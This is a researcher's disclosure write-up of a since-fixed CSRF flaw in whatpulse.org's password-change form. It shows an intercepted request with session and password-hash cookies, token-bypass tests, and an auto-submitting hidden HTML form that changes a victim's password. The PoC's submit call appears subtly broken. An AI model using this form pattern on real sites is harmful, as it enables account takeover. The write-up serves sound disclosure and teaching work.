The findings contained within this report were responsibly disclosed to the developer who resolved the issues and approved of its dissemination.
When submitting a password change, the following POST request was intercepted via Burp Suite proxy:
POST /dashboard/my/account HTTP/2 Host: whatpulse.org Cookie: cookieControl=true; cookieControlPrefs=%5B%5D; _ga_BRT9F03NSR=GS1.1.1655861607.5.1.1655861697.0; _ga=GA1.2.713366771.1655830791; _gid=GA1.2.1942324937.1655830791; _gcl_au=1.1.438496871.1655835821; _clck=arxnh6|1|f2i|0; _clsk=mmp2ud|1655837162748|2|1|e.clarity.ms/collect; _uetsid=fa584840f18f11eca9003b562aa12ab3; _uetvid=fa585ed0f18f11ecbb21f3689c181309; PHPSESSID=p5oqm3d7hcoh56h4npoeland68; WPHashCookie=%242y%2410%245fwUsyQ97mWkOSxCsuS3neri7qtT5Wtu2Y%2FdvA6IT9o9YTAojr8DG; WPUIDCookie=135965; _gat=1 User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:78.0) Gecko/20100101 Firefox/78.0 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8 Accept-Language: en-US,en;q=0.5 Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Content-Length: 205 Origin: https://whatpulse.org Referer: https://whatpulse.org/dashboard/my/account Upgrade-Insecure-Requests: 1 Te: trailers whatpulse_token=MTY1NTg2MTcwM3pvVTNVSVRVRnl3dHdOOXN3T3RZUWlYbUNJMEh4UlRK &user_password=attack &user_password_confirm=attack &save_new_password=
In addition to a variety of HTTP headers, cookies, and session ID, there are four fields submitted in the body of the POST request:
- whatpulse_token – presumably an anti-CSRF token
- user_password – the first password field
- user_password_confirm – the second password field (utilized to verify the user entered their password correctly
- save_new_password – presumably a null field used as a verb on the backend
Using Burp Suite Repeater, I was able to resubmit the request multiple times – each time editing the password to something new. This indicates there is a time-based component to token validity.
Second, I removed the Referer and Origin headers from the request which had no negative effects.
Last, I attempted to submit the request while dropping the token field entirely. These requests wouldn’t work. However, submitting with the field set to an arbitrary value (or set to 0) allowed the request to succeed.
These tests demonstrate that the anti-CSRF tokens are not functioning as intended. With that in mind, the only requirement we have is to submit the four fields above in a POST request. The application does not properly validate whatpulse_token, and does not check origin/referer headers, so it’s possibly vulnerable to being exploited using a Cross-Site Request Forgery attack.
Exploit Proof of Concept
In order to execute a Cross-Site Request Forgery, I needed to develop an exploit which submits the required fields described in the section above as POST data to the account API.
This involves constructing an HTML form as follows:
<html> <head></head> <body> <form method="POST" action="https://whatpulse.org/dashboard/my/account"> <input type="hidden" name="save_new_password" value=""> <input type="hidden" name="user_password" value="csrf_attack"> <input type="hidden" name="user_password_confirm" value="csrf_attack"> <input type="hidden" name="whatpulse_token" value="0"> </form> <script> document.forms.submit(); </script> </body> </html>
This exploit no longer works, as the developer implemented a layer of multi-factor authentication to e-mail the user to verify & validate the requested modification to their account.